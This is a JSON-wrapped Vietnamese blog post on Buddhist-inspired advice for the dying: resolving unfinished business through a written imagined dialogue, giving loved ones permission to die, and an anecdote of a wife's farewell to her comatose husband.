{"id":3773,"date":"2023-11-05T18:27:16","date_gmt":"2023-11-05T11:27:16","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3773"},"modified":"2024-12-21T00:50:50","modified_gmt":"2024-12-20T17:50:50","slug":"loi-khuyen-cho-nguoi-sap-chet-phan-2","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3773","title":{"rendered":"L\u1eddi khuy\u00ean cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft ph\u1ea7n 2"},"content":{"rendered":"<p>VI\u1ec6C DANG D\u1ede<\/p>\n<p>Lo \u00e2u kh\u00e1c c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft th\u01b0\u1eddng l\u00e0 lo v\u1ec1 b\u1ecf l\u1ea1i vi\u1ec7c \u0111ang dang d\u1edf. C\u00e1c th\u1ea7y b\u1ea3o ch\u00fang ta r\u1eb1ng ch\u00fang ta n\u00ean ch\u1ebft m\u1ed9t c\u00e1ch an b\u00ecnh, &#8220;kh\u00f4ng n\u1eafm gi\u1eef, l\u01b0u luy\u1ebfn v\u00e0 g\u1eafn b\u00f3.&#8221; \u0110i\u1ec1u n\u00e0y kh\u00f4ng th\u1ec3 x\u1ea3y ra \u0111\u1ea7y \u0111\u1ee7 n\u1ebfu vi\u1ec7c dang d\u1edf c\u1ee7a c\u1ea3 \u0111\u1eddi, khi c\u00f3 th\u1ec3, kh\u00f4ng \u0111\u01b0\u1ee3c thanh l\u00ed. \u0110\u00f4i khi b\u1ea1n s\u1ebd th\u1ea5y r\u1eb1ng m\u1ecdi ng\u01b0\u1eddi \u00f4m gi\u1eef s\u1ed1ng v\u00e0 s\u1ee3 bu\u00f4ng b\u1ecf v\u00e0 ch\u1ebft, v\u00ec h\u1ecd \u0111\u00e3 kh\u00f4ng ch\u1ea5p nh\u1eadn \u0111i\u1ec1u h\u1ecd \u0111\u00e3 t\u1eebng l\u00e0 v\u00e0 l\u00e0m. V\u00e0 khi m\u1ed9t ng\u01b0\u1eddi ch\u1ebft m\u00e0 v\u1eabn mang canh c\u00e1nh trong l\u00f2ng m\u1eb7c c\u1ea3m hay c\u1ea3m gi\u00e1c x\u1ea5u h\u01b0\u1edbng t\u1edbi ng\u01b0\u1eddi kh\u00e1c, nh\u1eefng ng\u01b0\u1eddi c\u00f2n s\u1ed1ng sau ng\u01b0\u1eddi \u0111\u00f3 th\u1eadm ch\u00ed c\u00f2n kh\u1ed5 s\u00e2u s\u1eafc h\u01a1n trong n\u1ed7i ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a h\u1ecd.<\/p>\n<p>\u0110\u00f4i khi m\u1ecdi ng\u01b0\u1eddi h\u1ecfi t\u00f4i: &#8220;Li\u1ec7u c\u00f3 qu\u00e1 tr\u1ec5 \u0111\u1ec3 ch\u1eefa l\u00e0nh n\u1ed7i \u0111au c\u1ee7a qu\u00e1 kh\u1ee9 kh\u00f4ng? Ph\u1ea3i ch\u0103ng c\u00f3 qu\u00e1 nhi\u1ec1u kh\u1ed5 gi\u1eefa t\u00f4i v\u00e0 ng\u01b0\u1eddi b\u1ea1n hay ng\u01b0\u1eddi h\u1ecd h\u00e0ng s\u1eafp ch\u1ebft \u0111\u1ec3 vi\u1ec7c ch\u1eefa l\u00e0nh l\u00e0 c\u00f3 th\u1ec3?&#8221; Theo ni\u1ec1m tin c\u1ee7a t\u00f4i, v\u00e0 \u0111\u00e3 l\u00e0 kinh nghi\u1ec7m c\u1ee7a t\u00f4i, kh\u00f4ng bao gi\u1edd l\u00e0 qu\u00e1 tr\u1ec5; ngay c\u1ea3 sau nh\u1eefng \u0111au v\u00e0 l\u1ea7m l\u1eabn l\u1edbn lao, m\u1ecdi ng\u01b0\u1eddi v\u1eabn c\u00f3 th\u1ec3 t\u00ecm \u0111\u01b0\u1ee3c c\u00e1ch \u0111\u1ec3 tha th\u1ee9 cho nhau. Kho\u1ea3nh kh\u1eafc ch\u1ebft c\u00f3 t\u00ednh ch\u1ea5t trang nghi\u00eam, tr\u1ecdng \u0111\u1ea1i v\u00e0 t\u1ed1i th\u01b0\u1ee3ng m\u00e0 c\u00f3 th\u1ec3 l\u00e0m cho m\u1ecdi ng\u01b0\u1eddi ph\u1ea3i xem x\u00e9t l\u1ea1i m\u1ecdi th\u00e1i \u0111\u1ed9 c\u1ee7a h\u1ecd, v\u00e0 l\u00e0 m\u1edf h\u01a1n v\u00e0 s\u1eb5n s\u00e0ng tha th\u1ee9 h\u01a1n, khi m\u00e0 tr\u01b0\u1edbc \u0111\u00e2y h\u1ecd \u0111\u00e3 kh\u00f4ng th\u1ec3 ch\u1ecbu \u0111\u01b0\u1ee3c. Ngay c\u1ea3 v\u00e0o ch\u00ednh l\u00fac cu\u1ed1i \u0111\u1eddi, nh\u1eefng sai l\u1ea7m c\u1ee7a cu\u1ed9c s\u1ed1ng c\u0169ng c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c ho\u00e0n t\u00e1c.<\/p>\n<p>C\u00f3 m\u1ed9t ph\u01b0\u01a1ng ph\u00e1p \u0111\u1ec3 gi\u00fap ho\u00e0n th\u00e0nh nh\u1eefng vi\u1ec7c dang d\u1edf m\u00e0 t\u00f4i v\u00e0 c\u00e1c h\u1ecdc tr\u00f2 t\u00f4i, nh\u1eefng ng\u01b0\u1eddi l\u00e0m vi\u1ec7c v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft, th\u1ea5y r\u1ea5t h\u1eefu \u00edch. N\u00f3 \u0111\u01b0\u1ee3c h\u00ecnh th\u00e0nh n\u00ean t\u1eeb tu luy\u1ec7n Ph\u1eadt gi\u00e1o v\u1ec1 vi\u1ec7c l\u00e0m b\u00ecnh \u0111\u1eb3ng v\u00e0 tr\u00e1o \u0111\u1ed5i v\u1ecb tr\u00ed gi\u1eefa c\u00e1i ng\u00e3 v\u1edbi nh\u1eefng ng\u01b0\u1eddi kh\u00e1c, t\u1eeb k\u0129 thu\u1eadt \u0110\u1ed9ng th\u00e1i (Gestalt), do Christine Longaker, m\u1ed9t trong nh\u1eefng h\u1ecdc tr\u00f2 \u0111\u1ea7u ti\u00ean c\u1ee7a t\u00f4i, n\u00eau ra, ng\u01b0\u1eddi \u0111\u00e3 \u0111i v\u00e0o l\u0129nh v\u1ef1c c\u1ee7a ch\u1ebft v\u00e0 vi\u1ec7c ch\u1ebft sau c\u00e1i ch\u1ebft c\u1ee7a ch\u1ed3ng c\u00f4 \u1ea5y t\u1eeb b\u1ec7nh b\u1ea1ch c\u1ea7u.<a href=\"#_edn1\" name=\"_ednref1\">[i]<\/a> Th\u00f4ng th\u01b0\u1eddng vi\u1ec7c dang d\u1edf l\u00e0 k\u1ebft qu\u1ea3 c\u1ee7a giao ti\u1ebfp b\u1ecb b\u1ebf t\u1eafc; khi ch\u00fang ta \u0111\u00e3 b\u1ecb th\u01b0\u01a1ng, ch\u00fang ta th\u01b0\u1eddng tr\u1edf n\u00ean r\u1ea5t \u0111\u1ec1 ph\u00f2ng; bao gi\u1edd c\u0169ng bi\u1ec7n minh t\u1eeb v\u1ecb th\u1ebf c\u1ee7a vi\u1ec7c l\u00e0 \u0111\u00fang v\u00e0 m\u00f9 qu\u00e1ng t\u1eeb ch\u1ed1i xem x\u00e9t quan \u0111i\u1ec3m c\u1ee7a ng\u01b0\u1eddi kh\u00e1c. \u0110i\u1ec1u n\u00e0y kh\u00f4ng ch\u1ec9 kh\u00f4ng gi\u00fap \u00edch, n\u00f3 l\u00e0m \u0111\u00f4ng c\u1ee9ng m\u1ecdi kh\u1ea3 n\u0103ng trao \u0111\u1ed5i th\u1ef1c ra. Cho n\u00ean khi b\u1ea1n l\u00e0m b\u00e0i t\u1eadp n\u00e0y, b\u1eaft \u0111\u1ea7u n\u00f3 v\u1edbi \u0111\u1ed9ng c\u01a1 m\u1ea1nh m\u1ebd r\u1eb1ng b\u1ea1n \u0111ang n\u00eau ra m\u1ecdi \u00fd ngh\u0129 v\u00e0 c\u1ea3m gi\u00e1c ti\u00eau c\u1ef1c c\u1ee7a b\u1ea1n \u0111\u1ec3 c\u1ed1 hi\u1ec3u ch\u00fang, \u0111\u1ec3 l\u00e0m vi\u1ec7c v\u1edbi ch\u00fang v\u00e0 gi\u1ea3i quy\u1ebft ch\u00fang, v\u00e0 chung cu\u1ed9c b\u00e2y gi\u1edd bu\u00f4ng b\u1ecf ch\u00fang.<\/p>\n<p>Th\u1ebf r\u1ed3i qu\u00e1n t\u01b0\u1edfng tr\u01b0\u1edbc b\u1ea1n ng\u01b0\u1eddi m\u00e0 b\u1ea1n c\u00f3 v\u1ea5n \u0111\u1ec1. Nh\u00ecn ng\u01b0\u1eddi n\u00e0y trong con m\u1eaft c\u1ee7a t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n, \u0111\u00edch x\u00e1c nh\u01b0 ng\u01b0\u1eddi \u0111\u00f3 bao gi\u1edd c\u0169ng nh\u00ecn v\u00e0o b\u1ea1n.<\/p>\n<p>B\u00e2y gi\u1edd xem x\u00e9t r\u1eb1ng m\u1ed9t thay \u0111\u1ed5i th\u1ef1c x\u1ea3y ra, cho n\u00ean ng\u01b0\u1eddi \u0111\u00f3 c\u1edfi m\u1edf h\u01a1n v\u00e0 \u0111\u00f3n nh\u1eadn h\u01a1n nhi\u1ec1u \u0111\u1ec3 nghe \u0111i\u1ec1u b\u1ea1n ph\u1ea3i n\u00f3i, s\u1eb5n l\u00f2ng h\u01a1n tr\u01b0\u1edbc \u0111\u00e2y \u0111\u1ec3 chia s\u1ebb m\u1ed9t c\u00e1ch trung th\u1ef1c, v\u00e0 gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1 gi\u1eefa c\u00e1c b\u1ea1n. Qu\u00e1n t\u01b0\u1edfng m\u1ed9t c\u00e1ch sinh \u0111\u1ed9ng ng\u01b0\u1eddi \u0111\u00f3 trong tr\u1ea1ng th\u00e1i m\u1edf m\u1edbi. \u0110i\u1ec1u n\u00e0y c\u0169ng s\u1ebd gi\u00fap cho b\u1ea1n c\u1ea3m th\u1ea5y m\u1edf h\u01a1n v\u1edbi ng\u01b0\u1eddi \u0111\u00f3. Th\u1ebf r\u1ed3i th\u1ef1c s\u1ef1 c\u1ea3m th\u1ea5y, s\u00e2u trong tim b\u1ea1n, \u0111i\u1ec1u b\u1ea1n c\u1ea7n n\u00f3i nh\u1ea5t v\u1edbi ng\u01b0\u1eddi \u0111\u00f3. N\u00f3i v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 v\u1ea5n \u0111\u1ec1 l\u00e0 g\u00ec, n\u00f3i v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 m\u1ecdi vi\u1ec7c c\u1ea3m c\u1ee7a b\u1ea1n, nh\u1eefng kh\u00f3 kh\u0103n c\u1ee7a b\u1ea1n, t\u1ed5n th\u01b0\u01a1ng c\u1ee7a b\u1ea1n, ti\u1ebfc nu\u1ed1i c\u1ee7a b\u1ea1n. N\u00f3i v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 v\u1ec1 \u0111i\u1ec1u b\u1ea1n \u0111\u00e3 kh\u00f4ng c\u1ea3m th\u1ea5y ch\u1eafc ch\u1eafn, hay kh\u00f4ng \u0111\u1ee7 tho\u1ea3i m\u00e1i \u0111\u1ec3 n\u00f3i ra tr\u01b0\u1edbc \u0111\u00e2y.<\/p>\n<p>B\u00e2y gi\u1edd l\u1ea5y m\u1ea3nh gi\u1ea5y v\u00e0 vi\u1ebft ra \u0111i\u1ec1u b\u1ea1n mu\u1ed1n n\u00f3i, t\u1ea5t c\u1ea3 n\u00f3. Th\u1ebf r\u1ed3i, khi b\u1ea1n \u0111\u00e3 k\u1ebft th\u00fac, ngay l\u1eadp t\u1ee9c b\u1eaft \u0111\u1ea7u vi\u1ebft ra \u0111i\u1ec1u m\u00e0 ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 th\u1ec3 n\u00f3i \u0111\u00e1p l\u1ea1i b\u1ea1n. \u0110\u1eebng d\u1eebng suy ngh\u0129 v\u1ec1 \u0111i\u1ec1u ng\u01b0\u1eddi \u0111\u00f3 th\u01b0\u1eddng n\u00f3i: Nh\u1edb r\u1eb1ng b\u00e2y gi\u1edd, khi b\u1ea1n \u0111\u00e3 qu\u00e1n t\u01b0\u1edfng, ng\u01b0\u1eddi \u0111\u00f3 \u0111\u00e3 th\u1ef1c s\u1ef1 nghe th\u1ea5y b\u1ea1n v\u00e0 l\u00e0 m\u1edf h\u01a1n. Cho n\u00ean ch\u1ec9 vi\u1ebft, xem \u0111i\u1ec1u g\u00ec t\u1ef1 ph\u00e1t t\u1edbi; v\u00e0 cho ph\u00e9p ng\u01b0\u1eddi \u0111\u00f3, trong t\u00e2m tr\u00ed b\u1ea1n, di\u1ec5n \u0111\u1ea1t \u0111\u1ea7y \u0111\u1ee7 nh\u1eefng v\u1ea5n \u0111\u1ec1 c\u1ee7a ph\u00eda ng\u01b0\u1eddi \u0111\u00f3 n\u1eefa.<\/p>\n<p>T\u00ecm trong b\u1ea3n th\u00e2n b\u1ea1n v\u00e0 xem li\u1ec7u c\u00f3 b\u1ea5t k\u00ec c\u00e1i g\u00ec kh\u00e1c b\u1ea1n c\u1ea7n n\u00f3i v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 kh\u00f4ng &#8211; b\u1ea5t k\u00ec c\u1ea3m gi\u00e1c t\u1ed5n th\u01b0\u01a1ng hay nu\u1ed1i ti\u1ebfc n\u00e0o kh\u00e1c trong qu\u00e1 kh\u1ee9 m\u00e0 b\u1ea1n v\u1eabn gi\u1eef canh c\u00e1nh trong l\u00f2ng hay \u0111\u00e3 kh\u00f4ng bao gi\u1edd kh\u01a1i ra. L\u1ea7n n\u1eefa, m\u1ed7i l\u1ea7n sau khi b\u1ea1n \u0111\u00e3 ph\u00e1t bi\u1ec3u c\u1ea3m gi\u00e1c c\u1ee7a b\u1ea1n, vi\u1ebft ra s\u1ef1 \u0111\u00e1p \u1ee9ng c\u1ee7a ng\u01b0\u1eddi kia, vi\u1ebft ngay ra b\u1ea5t k\u00ec c\u00e1i g\u00ec \u0111\u1ebfn trong t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n. Ti\u1ebfp t\u1ee5c \u0111\u1ed1i tho\u1ea1i n\u00e0y \u0111\u1ebfn khi b\u1ea1n th\u1ef1c c\u1ea3m th\u1ea5y kh\u00f4ng c\u00f2n g\u00ec gi\u1eef l\u1ea1i n\u1eefa, v\u00e0 kh\u00f4ng c\u00f2n g\u00ec c\u1ea7n \u0111\u01b0\u1ee3c n\u00f3i n\u1eefa.<\/p>\n<p>\u0110\u1ec3 xem li\u1ec7u b\u1ea1n c\u00f3 th\u1ef1c s\u1eb5n s\u00e0ng k\u1ebft th\u00fac \u0111\u1ed1i tho\u1ea1i kh\u00f4ng, t\u1ef1 h\u1ecfi b\u1ea3n th\u00e2n b\u1ea1n m\u1ed9t c\u00e1ch s\u00e2u s\u1eafc b\u00e2y gi\u1edd b\u1ea1n c\u00f3 kh\u1ea3 n\u0103ng bu\u00f4ng b\u1ecf qu\u00e1 kh\u1ee9 m\u1ed9t c\u00e1ch to\u00e0n t\u00e2m kh\u00f4ng, th\u1ef1c s\u1ef1 c\u00f3 kh\u1ea3 n\u0103ng, \u0111\u01b0\u1ee3c tho\u1ea3 m\u00e3n b\u1edfi s\u1ef1 s\u00e1ng su\u1ed1t v\u00e0 ch\u1eefa l\u00e0nh m\u00e0 c\u00e1c \u0111o\u1ea1n \u0111\u1ed1i tho\u1ea1i \u0111\u01b0\u1ee3c vi\u1ebft ra \u0111\u00e3 cho b\u1ea1n, \u0111\u1ec3 tha th\u1ee9 cho ng\u01b0\u1eddi n\u00e0y, hay c\u1ea3m th\u1ea5y r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 s\u1ebd tha th\u1ee9 cho b\u1ea1n. Khi b\u1ea1n c\u1ea3m th\u1ea5y b\u1ea1n \u0111\u00e3 ho\u00e0n th\u00e0nh vi\u1ec7c n\u00e0y, nh\u1edb di\u1ec5n \u0111\u1ea1t b\u1ea5t k\u00ec c\u1ea3m gi\u00e1c y\u00eau m\u1ebfn v\u00e0 c\u1ea3m k\u00edch cu\u1ed1i c\u00f9ng m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 \u0111\u00e3 gi\u1eef l\u1ea1i, v\u00e0 n\u00f3i l\u1eddi ch\u00e0o t\u1ea1m bi\u1ec7t. Qu\u00e1n t\u01b0\u1edfng ng\u01b0\u1eddi n\u00e0y quay l\u01b0ng v\u00e0 r\u1eddi \u0111i b\u00e2y gi\u1edd; v\u00e0 cho d\u00f9 b\u1ea1n ph\u1ea3i bu\u00f4ng b\u1ecf ng\u01b0\u1eddi \u0111\u00f3, nh\u1edb r\u1eb1ng b\u1ea1n c\u00f3 th\u1ec3 gi\u1eef l\u1ea1i t\u00ecnh y\u00eau c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3, v\u00e0 nh\u1eefng k\u1ec9 ni\u1ec7m n\u1ed3ng n\u00e0n v\u1ec1 nh\u1eefng kh\u00eda c\u1ea1nh t\u1ed1t \u0111\u1eb9p nh\u1ea5t trong m\u1ed1i quan h\u1ec7 c\u1ee7a b\u1ea1n, bao gi\u1edd c\u0169ng trong tim b\u1ea1n.<\/p>\n<p>\u0110\u1ec3 \u0111i \u0111\u1ebfn ngay c\u1ea3 vi\u1ec7c ho\u00e0 gi\u1ea3i r\u00f5 r\u00e0ng h\u01a1n v\u1edbi qu\u00e1 kh\u1ee9, t\u00ecm m\u1ed9t ng\u01b0\u1eddi b\u1ea1n m\u00e0 v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 b\u1ea1n c\u00f3 th\u1ec3 \u0111\u1ecdc \u0111o\u1ea1n \u0111\u1ed1i tho\u1ea1i vi\u1ebft c\u1ee7a b\u1ea1n, hay b\u1ea3n th\u00e2n b\u1ea1n \u0111\u1ecdc n\u00f3 to t\u1ea1i nh\u00e0. M\u1ed9t khi b\u1ea1n \u0111\u00e3 \u0111\u1ecdc to \u0111\u1ed1i tho\u1ea1i n\u00e0y, b\u1ea1n s\u1ebd ng\u1ea1c nhi\u00ean \u0111\u1ec3 \u00fd t\u1edbi thay \u0111\u1ed5i trong b\u1ea3n th\u00e2n b\u1ea1n, d\u01b0\u1eddng nh\u01b0 b\u1ea1n \u0111\u00e3 <em>th\u1ef1c t\u1ea1i<\/em> giao ti\u1ebfp \u0111\u01b0\u1ee3c v\u1edbi ng\u01b0\u1eddi kia, v\u00e0 <em>th\u1ef1c t\u1ea1i<\/em> \u0111\u00e3 thanh to\u00e1n \u0111\u01b0\u1ee3c v\u1edbi h\u1ecd m\u1ecdi v\u1ea5n \u0111\u1ec1 b\u1ea1n \u0111\u00e3 t\u1eebng c\u00f3. Sau \u0111\u00f3 b\u1ea1n s\u1ebd th\u1ea5y d\u1ec5 d\u00e0ng h\u01a1n nhi\u1ec1u \u0111\u1ec3 bu\u00f4ng b\u1ecf, \u0111\u1ec3 n\u00f3i th\u1eb3ng v\u1edbi ng\u01b0\u1eddi kia v\u1ec1 nh\u1eefng kh\u00f3 kh\u0103n c\u1ee7a b\u1ea1n. V\u00e0 khi b\u1ea1n \u0111\u00e3 th\u1ef1c s\u1ef1 bu\u00f4ng b\u1ecf, s\u1ef1 d\u1ecbch chuy\u1ec3n tinh t\u1ebf trong h\u1ec7 th\u1ed1ng ho\u00e1 ch\u1ea5t gi\u1eefa b\u1ea1n v\u00e0 ng\u01b0\u1eddi kia s\u1ebd x\u1ea3y ra, v\u00e0 c\u0103ng th\u1eb3ng trong m\u1ed1i quan h\u1ec7 \u0111\u00e3 k\u00e9o d\u00e0i l\u00e2u th\u1ebf s\u1ebd th\u01b0\u1eddng tan bi\u1ebfn \u0111i. \u0110\u00f4i khi, \u0111\u00e1ng kinh ng\u1ea1c, c\u00e1c b\u1ea1n th\u1eadm ch\u00ed c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh nh\u1eefng ng\u01b0\u1eddi b\u1ea1n t\u1ed1t nh\u1ea5t. \u0110\u1eebng bao gi\u1edd qu\u00ean, nh\u01b0 th\u1ea7y T\u00e2y T\u1ea1ng n\u1ed5i ti\u1ebfng Tsongkhapa \u0111\u00e3 c\u00f3 l\u1ea7n n\u00f3i, &#8220;B\u1ea1n c\u00f3 th\u1ec3 bi\u1ebfn th\u00e0nh th\u00f9, v\u00e0 th\u00f9 c\u00f3 th\u1ec3 bi\u1ebfn th\u00e0nh b\u1ea1n.&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>N\u00d3I L\u1edcI T\u1ea0M BI\u1ec6T<\/p>\n<p>Kh\u00f4ng ch\u1ec9 c\u0103ng th\u1eb3ng m\u00e0 b\u1ea1n ph\u1ea3i h\u1ecdc c\u00e1ch bu\u00f4ng b\u1ecf, m\u00e0 c\u00f2n ph\u1ea3i h\u1ecdc c\u1ea3 c\u00e1ch bu\u00f4ng b\u1ecf ng\u01b0\u1eddi s\u1eafp ch\u1ebft n\u1eefa. N\u1ebfu b\u1ea1n b\u1ecb g\u1eafn b\u00f3 v\u00e0 b\u00e1m v\u00e0o ng\u01b0\u1eddi s\u1eafp ch\u1ebft, b\u1ea1n c\u00f3 th\u1ec3 \u0111em \u0111\u1ebfn cho ng\u01b0\u1eddi \u0111\u00f3 r\u1ea5t nhi\u1ec1u chuy\u1ec7n \u0111au \u0111\u1ea7u kh\u00f4ng c\u1ea7n thi\u1ebft v\u00e0 l\u00e0m cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft r\u1ea5t kh\u00f3 bu\u00f4ng b\u1ecf v\u00e0 ch\u1ebft m\u1ed9t c\u00e1ch an b\u00ecnh.<\/p>\n<p>\u0110\u00f4i khi ng\u01b0\u1eddi s\u1eafp ch\u1ebft c\u00f3 th\u1ec3 s\u1ed1ng lay l\u1eaft nhi\u1ec1u th\u00e1ng hay nhi\u1ec1u tu\u1ea7n h\u01a1n c\u00e1c b\u00e1c s\u0129 d\u1ef1 ki\u1ebfn v\u00e0 tr\u1ea3i nghi\u1ec7m nh\u1eefng \u0111au th\u1ec3 x\u00e1c v\u00f4 c\u00f9ng. Christine Longaker \u0111\u00e3 kh\u00e1m ph\u00e1 ra r\u1eb1ng \u0111\u1ec3 cho ng\u01b0\u1eddi nh\u01b0 v\u1eady c\u00f3 kh\u1ea3 n\u0103ng bu\u00f4ng b\u1ecf v\u00e0 ch\u1ebft m\u1ed9t c\u00e1ch an b\u00ecnh, ng\u01b0\u1eddi \u0111\u00f3 c\u1ea7n nghe hai l\u1eddi \u0111\u1ea3m b\u1ea3o t\u01b0\u1eddng minh t\u1eeb nh\u1eefng ng\u01b0\u1eddi th\u00e2n y\u00eau. Th\u1ee9 nh\u1ea5t, h\u1ecd ph\u1ea3i cho ng\u01b0\u1eddi n\u00e0y \u0111\u01b0\u1ee3c ph\u00e9p ch\u1ebft, v\u00e0 th\u1ee9 hai h\u1ecd ph\u1ea3i t\u00e1i b\u1ea3o \u0111\u1ea3m cho ng\u01b0\u1eddi n\u00e0y h\u1ecd s\u1ebd \u1ed5n tho\u1ea3 sau khi ng\u01b0\u1eddi \u0111\u00f3 ra \u0111i, v\u00e0 kh\u00f4ng c\u1ea7n lo l\u1eafng v\u1ec1 h\u1ecd.<\/p>\n<p>Khi m\u1ecdi ng\u01b0\u1eddi h\u1ecfi t\u00f4i c\u00e1ch n\u00e0o t\u1ed1t nh\u1ea5t \u0111\u1ec3 cho ph\u00e9p ng\u01b0\u1eddi n\u00e0o \u0111\u00f3 ch\u1ebft, t\u00f4i b\u1ea3o v\u1edbi h\u1ecd h\u00ecnh dung b\u1ea3n th\u00e2n h\u1ecd \u0111ang \u0111\u1ee9ng c\u1ea1nh gi\u01b0\u1eddng c\u1ee7a ng\u01b0\u1eddi m\u00e0 h\u1ecd y\u00eau v\u00e0 n\u00f3i v\u1edbi s\u1ef1 \u00e2u y\u1ebfm s\u00e2u s\u1eafc nh\u1ea5t v\u00e0 ch\u00e2n th\u00e0nh nh\u1ea5t: &#8220;T\u00f4i \u1edf \u0111\u00e2y v\u1edbi b\u1ea1n v\u00e0 t\u00f4i y\u00eau b\u1ea1n. B\u1ea1n s\u1eafp ch\u1ebft, v\u00e0 \u0111i\u1ec1u \u0111\u00f3 ho\u00e0n to\u00e0n t\u1ef1 nhi\u00ean; n\u00f3 x\u1ea3y ra cho m\u1ecdi ng\u01b0\u1eddi. T\u00f4i \u01b0\u1edbc ao b\u1ea1n c\u00f3 th\u1ec3 \u1edf \u0111\u00e2y v\u1edbi t\u00f4i, nh\u01b0ng t\u00f4i kh\u00f4ng mu\u1ed1n b\u1ea1n ph\u1ea3i ch\u1ecbu \u0111\u1ef1ng th\u00eam n\u1eefa. Th\u1eddi gian ch\u00fang ta c\u00f3 c\u00f9ng nhau \u0111\u00e3 \u0111\u1ee7, v\u00e0 t\u00f4i bao gi\u1edd c\u0169ng \u1ea5p \u1ee7 m\u00e3i \u0111i\u1ec1u \u0111\u00f3. B\u00e2y gi\u1edd xin b\u1ea1n \u0111\u1eebng l\u01b0u luy\u1ebfn cu\u1ed9c \u0111\u1eddi n\u00e0y th\u00eam n\u1eefa. Bu\u00f4ng b\u1ecf \u0111i. T\u1eeb t\u1eadn \u0111\u00e1y l\u00f2ng t\u00f4i cho ph\u00e9p b\u1ea1n ch\u1ebft. B\u1ea1n kh\u00f4ng m\u1ed9t m\u00ecnh, b\u00e2y gi\u1edd v\u00e0 m\u00e3i m\u00e3i v\u1ec1 sau. B\u1ea1n c\u00f3 m\u1ecdi t\u00ecnh y\u00eau c\u1ee7a t\u00f4i.&#8221;<\/p>\n<p>M\u1ed9t h\u1ecdc tr\u00f2 t\u00f4i, \u0111\u00e3 l\u00e0m vi\u1ec7c trong vi\u1ec7n ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft, \u0111\u00e3 k\u1ec3 cho t\u00f4i v\u1ec1 m\u1ed9t b\u00e0 gi\u00e0 ng\u01b0\u1eddi Scotland, t\u00ean l\u00e0 Maggie, m\u00e0 c\u00f4 \u1ea5y \u0111\u1ebfn th\u0103m sau khi ch\u1ed3ng b\u00e0 \u1ea5y, g\u1ea7n ch\u1ebft, \u0111\u00e3 r\u01a1i v\u00e0o tr\u1ea1ng th\u00e1i h\u00f4n m\u00ea. Maggie c\u1ea3m th\u1ea5y bu\u1ed3n kh\u00f4ng ngu\u00f4i, v\u00ec b\u00e0 \u1ea5y ch\u01b0a bao gi\u1edd n\u00f3i cho ch\u1ed3ng v\u1ec1 t\u00ecnh y\u00eau c\u1ee7a b\u00e0 \u1ea5y v\u1edbi \u00f4ng \u1ea5y, c\u0169ng kh\u00f4ng n\u00f3i l\u1eddi t\u1ea1m bi\u1ec7t, v\u00e0 b\u00e2y gi\u1edd b\u00e0 \u1ea5y c\u1ea3m th\u1ea5y qu\u00e1 mu\u1ed9n. Nh\u00e2n vi\u00ean ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u0111\u1ed9ng vi\u00ean b\u00e0 \u1ea5y, n\u00f3i r\u1eb1ng m\u1eb7c d\u00f9 \u00f4ng \u1ea5y d\u01b0\u1eddng nh\u01b0 kh\u00f4ng \u0111\u00e1p \u1ee9ng, c\u00f3 l\u1ebd \u00f4ng \u1ea5y th\u1ef1c t\u1ea1i v\u1eabn c\u00f3 th\u1ec3 nghe \u0111\u01b0\u1ee3c b\u00e0 \u1ea5y. C\u00f4 \u1ea5y \u0111\u00e3 \u0111\u1ecdc r\u1eb1ng nhi\u1ec1u ng\u01b0\u1eddi d\u01b0\u1eddng nh\u01b0 v\u00f4 \u00fd th\u1ee9c th\u1ef1c ra c\u00f3 th\u1ec3 c\u1ea3m nh\u1eadn \u0111i\u1ec1u \u0111ang di\u1ec5n ra. C\u00f4 \u1ea5y th\u00fac gi\u1ee5c b\u00e0 \u1ea5y d\u00e0nh th\u1eddi gian c\u00f9ng v\u1edbi ch\u1ed3ng b\u00e0 \u1ea5y, n\u00f3i v\u1edbi \u00f4ng \u1ea5y m\u1ecdi \u0111i\u1ec1u b\u00e0 \u1ea5y mu\u1ed1n n\u00f3i. Maggie ch\u1eafc \u0111\u00e3 kh\u00f4ng ngh\u0129 v\u1ec1 l\u00e0m \u0111i\u1ec1u n\u00e0y, nh\u01b0ng b\u00e0 \u1ea5y \u0111\u00e3 ti\u1ebfn t\u1edbi v\u00e0 n\u00f3i v\u1edbi ch\u1ed3ng b\u00e0 \u1ea5y v\u1ec1 m\u1ecdi th\u1eddi k\u00ec h\u1ea1nh ph\u00fac h\u1ecd \u0111\u00e3 c\u00f9ng c\u00f3, v\u1ec1 vi\u1ec7c b\u00e0 \u1ea5y s\u1ebd nh\u1edb \u00f4ng \u1ea5y l\u00e0m sao, v\u00e0 b\u00e0 \u1ea5y \u0111\u00e3 y\u00eau \u00f4ng \u1ea5y l\u00e0m sao. Cu\u1ed1i c\u00f9ng khi b\u00e0 \u1ea5y \u0111\u00e3 n\u00f3i l\u1eddi t\u1ea1m bi\u1ec7t, b\u00e0 \u1ea5y b\u1ea3o \u00f4ng \u1ea5y, &#8220;Th\u1eadt kh\u00f3 kh\u0103n cho em s\u1ed1ng kh\u00f4ng c\u00f3 anh, nh\u01b0ng em kh\u00f4ng mu\u1ed1n th\u1ea5y anh kh\u1ed5 th\u00eam n\u1eefa, cho n\u00ean anh y\u00ean t\u00e2m bu\u00f4ng b\u1ecf.&#8221; Khi b\u00e0 \u1ea5y \u0111\u00e3 k\u1ebft th\u00fac, ch\u1ed3ng b\u00e0 \u1ea5y tr\u00fat h\u01a1i th\u1edf d\u00e0i v\u00e0 ch\u1ebft an 